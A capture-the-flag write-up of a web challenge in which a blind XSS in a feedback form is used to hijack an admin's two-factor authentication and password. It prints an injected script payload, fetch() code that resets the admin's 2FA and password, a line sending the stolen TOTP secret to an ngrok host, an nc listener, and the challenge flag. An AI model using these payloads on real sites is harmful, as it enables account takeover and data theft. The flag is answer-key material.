This was a challenge in the Hard category from Web. I feel like Web is my strongest suit, so I thought it was a good idea to try the challenge. This was a really fun one with quickly seeing the vulnerability and the hard part being how to exploit it.

The Challenge

First, we get a simple Sign up and Sign in functionality. Nothing special here, we just need to create an account to log in. But after filling in the signup form, we get a QR code to set up Two Factor Authentication. We can use an app like Google Authenticator to scan this QR code and later get One Time Passwords (OTP).

If we then sign in with the new account and the OTP, we can see a page where we can create and store secrets. I'm sure the flag will be stored in there somewhere. We can create a secret with a name and value. Then when we want to view the secret we need the OTP again. Only if we provide this OTP, we can see the value of the secret.

Lastly, we also have a Settings page with a few functionalities. Firstly, we can change the password using only the OTP. Secondly, we can reset the 2FA to get a new QR code. Lastly, we have a Feedback form where we can input any text and submit it.

Cross-Site Scripting

The feedback form looked interesting to me because often feedback forms get submitted to some sort of admin panel where the administrators can see these submissions. If they didn't escape the HTML characters properly, looking at these submissions could lead to Cross-Site Scripting (XSS).

To test this idea I used a tool called XSS Hunter. This is a very useful tool for Blind XSS because it will send a lot of information about the page when the XSS triggers, to an endpoint we can view as an attacker. Meaning we can just put the payload with the XSS Hunter script, and wait for it to trigger.

In XSS Hunter you can view your payloads in the "Payloads" tab. I just used a simple "><script src=https://[name].xss.ht></script> payload, and submitted the feedback form. And after a few seconds, I got a notification from XSS Hunter that the payload triggered! In the report we can see that the page source HTML was as follows:

HTML

<html><head><script>
    // get rid of alert and confirm
    window.alert = null;
    window.confirm = null;
</script>
</head><body>
"><script src="https://[name].xss.ht"></script></body></html>

Looks like it worked perfectly! Our script was injected into the page and executed on the 'administrator' that viewed our feedback submission.

One thing though is the fact that the Cookies were empty. After looking at the cookies myself I saw why this probably was the case because the fortKnoxSession cookie used to authenticate has the HttpOnly flag set. This means that this cookie is not viewable by things like JavaScript, only when we send HTTP requests. This still means we can send requests with this cookie using JavaScript, we just can't read the cookie value.

Resetting 2FA with XSS

So we can't directly steal the cookies, but we can still send requests using them. Since the Reset 2FA button on the Settings page just requires a click, we can just send a request to this endpoint to get a new QR code and take over the 2FA. When we click the button it simply makes a POST request to the /reset2fa endpoint. The response then is as follows:

HTTP

Content-Length: 87
Content-Type: application/json
Vary: Cookie

{"url":"otpauth://totp/Fort%20Knox:j0r1an?secret=TRL7EVWOYRFPTVZD&issuer=Fort%20Knox"}

...with the otpauth:// URL being the new QR code. We can simply turn this link into a QR code with an online QR code generator, and then scan it with the Google Authenticator app again.

If we can do this manually with just a simple POST request, then so can JavaScript. We just need to recreate this POST request and let the administrator send it with the XSS. Then we need to extract this URL from the response to take over the 2FA. We can use the handy fetch() function to do this:

JavaScript

fetch("http://challenge.nahamcon.com:32592/reset2fa", {
    method: "POST"
}).then(function (response) {
    response.text().then(function (data) {
        console.log(data);
    });
})

If we execute this JavaScript in the browser console, we get the response logged! Now we just need to send this response to ourselves because this is a blind attack. We can use a quick trick by using a new Image() and settings the src attribute. This will send a request to the URL and we can put the data we want to extract (the 2FA URL) into the path of the URL. If we just set up a listener with nc -lnvp 1337 and also start something like ngrok with ngrok http 1337, we can send a request the this ngrok URL and extract the data in the path.

JavaScript

// Send request to ngrok URL with base64 encoded data
new Image().src = "https://1234-12-34-56-78.ngrok.io/" + btoa(data)

If we replace the console.log() function with this JavaScript code, we can send it to the administrator with the XSS and get the 2FA URL. And after sending it we get a response in the nc listener!

HTTP

Listening on 0.0.0.0 1337
Connection received on 127.0.0.1 37918
GET /eyJ1cmwiOiJvdHBhdXRoOi8vdG90cC9Gb3J0JTIwS25veDphZG1pbj9zZWNyZXQ9M0JHTzdMMjZJMjdBRlRZViZpc3N1ZXI9Rm9ydCUyMEtub3gifQo= HTTP/1.1
Host: 1234-12-34-56-78.ngrok.io

If we just decode this base64 in the URL we get the 2FA URL:

JSON

{"url":"otpauth://totp/Fort%20Knox:admin?secret=3BGO7L26I27AFTYV&issuer=Fort%20Knox"}

We can now just turn it into a QR code and scan it with Google Authenticator and get all the 2FA codes from the admin account.

Trying to view the secrets

So if you remember the secrets stored, where we suspected the flag would be, that required the 2FA OTPs. Well, now that we have the 2FA codes, you'd think we could just put in the correct OTP and view the secret. The request when we want to view a secret is as follows:

HTTP

POST /show_secret HTTP/1.1
Host: challenge.nahamcon.com:31557
Accept: application/json
Cookie: fortKnoxSession=eyJpZCI6M30.YnENAg.ICRHOa31NWocLPfBvTZLL6pO5B8

{"otp":"123456","secretId":"3"}

If we try to change the secretId to 1 or 2 and provide the correct admin OTP we might be able to view the secret with the flag in it. But sadly it's not this easy. When we try to access a secret that doesn't belong to our account we get a "Secret not found" message. So we first need to find a way to log into the admin account.

Resetting the admin password

On the settings page, we also get the option to "Change Password". This option only requires the 2FA OTP and the new password. So we can just let the administrator execute this action again with JavaScript, and reset their password. If we try to change our own password the request looks like this:

HTTP

POST /reset_password HTTP/1.1
Host: challenge.nahamcon.com:31557
Accept: application/json
Cookie: fortKnoxSession=eyJpZCI6M30.YnENAg.ICRHOa31NWocLPfBvTZLL6pO5B8

{"otp":"123456","password":"hacked","password2":"hacked"}

And we can again just recreate this request in JavaScript. The only thing we need to do is put in the right OTP, so the request goes through. But since we have the admin 2FA in our control this shouldn't be a problem.

HTML

<script>
fetch("http://challenge.nahamcon.com:32592/reset_password", {
    method: "POST",
    headers: {
        "Content-Type": "application/json"
    },
    body: JSON.stringify({"otp":"123456","password":"hacked","password2":"hacked"})
}).then(function (response) {
    response.text().then(function (data) {
        new Image().src = "https://1234-12-34-56-78.ngrok.io/success"
    });
})
</script>

Here we need to make sure we send the JSON data with it, and the correct 2FA. Since these codes are only valid for about a minute we need to be a little quick, but in this challenge, we have enough time.

Note: In a real attack where your XSS won't get triggered right away, you could just fetch an attacker server that will respond with the right 2FA code that will be used in the reset password request. But in this case, just being quick is enough.

I also added another request to an ngrok listener to see when the password reset succeeded. And after a few seconds, we indeed get a GET /success HTTP/1.1 response!

This means the password of the administrator account was changed to our hacked password. Now that we have both the password and 2FA code, we can just Sign in to the admin account. Then we see a flag secret on the home page, and when we view it, it indeed contains the flag!
flag{96710ea6be916326f96de003c1cc97cb}